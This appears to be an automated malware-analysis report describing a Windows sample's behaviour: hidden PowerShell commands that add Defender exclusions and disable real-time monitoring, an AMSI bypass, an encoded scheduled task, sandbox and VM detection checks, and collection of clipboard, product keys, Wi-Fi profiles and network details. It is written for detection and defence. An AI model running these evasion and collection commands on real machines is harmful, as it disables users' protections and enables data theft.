Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [HKCU\Software\Microsoft\Windows Defender\Exclusions\Paths] 'C:\\Users\\user\\AppData\\Local\\Microsoft\\EdgeUpdate' = '00000000'
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\Microsoft\CLR\" -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"%HOMEPATH%\Downloads\" -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"<Current directory>\" -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -Disable...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\Microsoft\CLR_v4.0\" -ErrorAction SilentlyContinue"
Launches a large number of processes
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
Disables AMSI.
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\wsus\wuauserv_rsuwbrg.lock
- %LOCALAPPDATA%\microsoft\windows\wsus\wuauclt.log
- nul
- %LOCALAPPDATA%\microsoft\clr\pre_strm_1780267799975.cs
- %LOCALAPPDATA%\microsoft\clr\csc12c81e394db14acfb29d70f91f65e3b.tmp
- %TEMP%\res2edc.tmp
- %LOCALAPPDATA%\microsoft\clr\pre_strm_1780267799975.exe
- %TEMP%\out_1780267803988\system info\clipboard.txt
- %TEMP%\out_1780267803988\system info\installed_programs.txt
- %TEMP%\out_1780267803988\system info\startup_apps.txt
- %TEMP%\out_1780267803988\system info\processes.txt
Deletes following files that it created itself
- %TEMP%\res2edc.tmp
- %LOCALAPPDATA%\microsoft\clr\csc12c81e394db14acfb29d70f91f65e3b.tmp
- %LOCALAPPDATA%\microsoft\clr\pre_strm_1780267799975.cs
Network activity
Connects to
- 'ip##pi.com':80
- '19#.#63.148.133':3838
TCP
HTTP GET requests
- http://ip##pi.com/line?fi##################
UDP
- DNS ASK ip##pi.com
Miscellaneous
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /d /s /c "cmd /c "del /f /q \"<Full path to file>:Zone.Identifier\" 2>nul""
- '<SYSTEM32>\cmd.exe' /c "del /f /q \"<Full path to file>:Zone.Identifier\" 2>nul"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid"
- '<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"
- '<SYSTEM32>\wbem\wmic.exe' desktopmonitor get ScreenWidth,ScreenHeight /format:csv
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"
- '<SYSTEM32>\wbem\wmic.exe' logicaldisk where "DriveType=3" get Size /format:csv
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get Name /format:csv"
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get Name /format:csv
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\QEMU"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Parallels"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Wine"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Cuckoo"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\JoeBox"
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV /NH"
- '<SYSTEM32>\tasklist.exe' /FO CSV /NH
- '<SYSTEM32>\cmd.exe' /d /s /c "getmac /FO CSV /NH"
- '<SYSTEM32>\getmac.exe' /FO CSV /NH
- '<SYSTEM32>\cmd.exe' /d /s /c "driverquery /FO CSV"
- '<SYSTEM32>\driverquery.exe' /FO CSV
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::I...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"
- '<SYSTEM32>\wbem\wmic.exe' computersystem get Manufacturer,Model /format:csv
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
- '<SYSTEM32>\wbem\wmic.exe' bios get Manufacturer,SMBIOSBIOSVersion /format:csv
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName"
- '<SYSTEM32>\cmd.exe' /d /s /c "net use"
- '<SYSTEM32>\net.exe' use
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /NH"
- '<SYSTEM32>\tasklist.exe' /NH
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic diskdrive get SerialNumber /format:csv"
- '<SYSTEM32>\wbem\wmic.exe' diskdrive get SerialNumber /format:csv
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid 2>nul"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /nologo /optimize+ /out:%LOCALAPPDATA%\Microsoft\CLR\pre_strm_1780267799975.exe /lib:%WINDIR%\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll ...
- '<SYSTEM32>\cmd.exe' /d /s /c "cmd /c del "<Full path to file>:Zone.Identifier" 2>nul"
- '<SYSTEM32>\cmd.exe' /c del "<Full path to file>:Zone.Identifier"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2EDC.tmp" "%LOCALAPPDATA%\Microsoft\CLR\CSC12C81E394DB14ACFB29D70F91F65E3B.TMP"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-Clipboard""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "Get-Clipboard"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic product get name,version /format:csv 2>nul"
- '<SYSTEM32>\wbem\wmic.exe' product get name,version /format:csv
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users...
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFx1c2VyXFxBcHBEYXRhXFxMb2NhbFxcTWljcm9zb2Z0XFxFZGdlVXBkYXRlIiwiQzpcXHFtZGNyYmgiLCJD...
- '<SYSTEM32>\schtasks.exe' /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFx1c2VyXFxBcHBEYXRhXFxMb2NhbFxcTWljcm9zb2Z0XFxFZGdlVXBkYXRlIiwiQzpcXHFtZGNyYmgiLCJDOlxcVXNlcnNcXHVzZXJ...
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
- '<SYSTEM32>\reg.exe' query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV"
- '<SYSTEM32>\tasklist.exe' /FO CSV
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1...
- '<SYSTEM32>\cmd.exe' /d /s /c "ipconfig /all"
- '<SYSTEM32>\ipconfig.exe' /all
- '<SYSTEM32>\cmd.exe' /d /s /c "arp -a"
- '<SYSTEM32>\arp.exe' -a
- '<SYSTEM32>\cmd.exe' /d /s /c "netstat -ano"
- '<SYSTEM32>\netstat.exe' -ano
- '<SYSTEM32>\cmd.exe' /d /s /c "ipconfig /displaydns"
- '<SYSTEM32>\ipconfig.exe' /displaydns
- '<SYSTEM32>\cmd.exe' /d /s /c "route print"
- '<SYSTEM32>\route.exe' print
- '<SYSTEM32>\cmd.exe' /d /s /c "net share"
- '<SYSTEM32>\net.exe' share
- '<SYSTEM32>\net1.exe' share
- '<SYSTEM32>\cmd.exe' /d /s /c "netsh wlan show profiles"
- '<SYSTEM32>\netsh.exe' wlan show profiles
- '<SYSTEM32>\cmd.exe' /d /s /c "netsh advfirewall show allprofiles"
- '<SYSTEM32>\netsh.exe' advfirewall show allprofiles
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List"
- '<SYSTEM32>\cmd.exe' /d /s /c "cmd /c "del /f /q \"<Full path to file>:Zone.Identifier\" 2>nul""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get Name /format:csv"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV /NH"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "getmac /FO CSV /NH"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "driverquery /FO CSV"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::I...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "net use"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /NH"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic diskdrive get SerialNumber /format:csv"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid 2>nul"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\Microsoft\CLR\" -ErrorAction SilentlyContinue"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /nologo /optimize+ /out:%LOCALAPPDATA%\Microsoft\CLR\pre_strm_1780267799975.exe /lib:%WINDIR%\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll ...' (with hidden window)
- '<Full path to file>' C:\snapshot\12vt\panel\server\build_temp\build_1780167780287_89u68e\index.js' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "cmd /c del "<Full path to file>:Zone.Identifier" 2>nul"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true);[Ref].Assembly.GetType(\"Syst...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2EDC.tmp" "%LOCALAPPDATA%\Microsoft\CLR\CSC12C81E394DB14ACFB29D70F91F65E3B.TMP"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-Clipboard""' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"%HOMEPATH%\Downloads\" -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic product get name,version /format:csv 2>nul"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"<Current directory>\" -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -Disable...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap""' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFx1c2VyXFxBcHBEYXRhXFxMb2NhbFxcTWljcm9zb2Z0XFxFZGdlVXBkYXRlIiwiQzpcXHFtZGNyYmgiLCJD...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "ipconfig /all"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "arp -a"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "netstat -ano"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "ipconfig /displaydns"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "route print"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "net share"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "netsh wlan show profiles"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "netsh advfirewall show allprofiles"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List""' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\Microsoft\CLR_v4.0\" -ErrorAction SilentlyContinue"' (with hidden window)
Uses NTFS alternate data streams
